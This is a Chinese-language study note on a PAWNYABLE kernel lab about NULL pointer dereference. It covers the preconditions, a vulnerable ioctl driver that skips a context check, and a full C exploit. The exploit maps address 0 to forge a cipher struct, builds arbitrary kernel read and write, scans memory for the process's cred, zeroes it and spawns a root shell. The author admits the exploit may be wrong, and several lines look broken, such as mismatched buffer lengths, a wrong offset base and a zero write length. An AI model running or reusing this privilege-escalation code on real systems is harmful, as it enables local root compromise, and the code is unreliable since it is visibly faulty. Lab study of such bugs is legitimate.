PAWNYABLE NULL Pointer Dereference 笔记
现在把基础的和 user mode 类似的部分看完了,该看内核独有的攻击咯。
概念
攻击的前提条件
-
为了完成 null ptr dereference,需要先禁用 SMAP(内核从用户态读写数据)
-
以及
cat /proc/sys/vm/mmap_min_addr
需要是 0。mmap 需要可以拿到地址为 0 的区域。
所以这么看起来,利用的条件还是比较原始的....
模块源码分析
看 mondule_ioctl 的功能的话,这个模块可以基于 ctx->key 和 ctx->data 对数据进行亦或的加解密。
虽然 CMD_SETKEY
有检查 private_data
是否已经初始化。但是, CMD_GETDATA
、 CMD_ENCRYPT
、 CMD_DECRYPT
没有此检查。就是说,如果 ctx 为 0 的话,也是可以进行 CMD_GETDATA
、 CMD_ENCRYPT
、 CMD_DECRYPT
的,只不过是用了用户空间的数据。
用户态控制 0x0 的地址
mmap 的参数设置中:
-
MAP_FIXED
强制将映射的内存区域放置在指定的地址。 -
MAP_POPULATE
: 在mmap
调用中使用MAP_POPULATE
标志主要是为了提前将映射的内存区域加载到物理内存中,而不是等到访问这些内存时才触发页面的加载。这对于一些需要确保快速访问内存的情况特别有用,尤其是当内存区域被映射为匿名内存 (MAP_ANONYMOUS
) 时。
mmap(0, 0x1000, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE,
-1, 0);
题目分析
控制 XorCipher 结构体就能完成 aaw 和 aar
typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;
没有任何基址,如何搜索 cred 结构体?
kalsr 可能改变的 cred 地址范围:outflux.net/slides/2013/lss/kaslr.pdf 0xffff888000000000 < 0xffffc88000000000
。
![[Pasted image 20241212103411.png]]
exp
寻找 cred 的过程好漫长。跑了好久呜呜,不想跑了,就这样吧,这个 exp 可能不正确...
#include <fcntl.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <inttypes.h>
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
char *buf;
int fd;
void print_hex(char *name, uint64_t addr) {
printf("%s %" PRIx64 "\n", name, addr);
}
typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;
typedef struct {
char *ptr;
size_t len;
} request_t;
// 怎么找 cred 比较快
void aar(char *src, int len, char *dst){
XorCipher cipher = {
.key = 0,
.data = src,
.keylen = 0,
.datalen = len
};
request_t rqs = {
.ptr = dst,
.len = len
};
memcpy(buf, &cipher, sizeof(XorCipher));
ioctl(fd, CMD_GETDATA, &rqs);
}
int aaw(char *addr, int len, char *content) {
char *leak = (char*)malloc(len);
aar(addr, len, leak);
for(int i = 0; i < len; i++) {
leak[i] ^= content[i];
}
XorCipher cipher = {
.key = leak,
.data = addr,
.keylen = len,
.datalen = len
};
request_t rqs = {
.ptr = addr,
.len = len
};
memcpy(buf, &cipher, sizeof(XorCipher));
ioctl(fd, CMD_ENCRYPT, &rqs);
}
void attack_cred() {
prctl(PR_SET_NAME, "giacomo");
char *leak = malloc(0x1000000);
uint64_t cred_addr;
for(uint64_t addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += 0x1000000) {
if (addr % 0x1000000000 == 0) {
print_hex("addr:", addr);
}
aar((char *)addr, 0x1000, leak);
char *needle = memmem(leak, 0x1000000, "giacomo", 7);
if(needle) {
puts("find comm");
print_hex("addr", (uint64_t) needle + addr);
cred_addr = *(uint64_t *)(leak - 0x8);
print_hex("cred_addr", cred_addr);
break;
}
}
char zero[0x20] = {0};
for(uint64_t i = 0; i < 0x20; i += 4) {
aaw((char *)cred_addr + i, 0, zero);
}
system("/bin/sh");
}
int main() {
fd = open("/dev/angus", O_RDWR);
buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
attack_cred();
}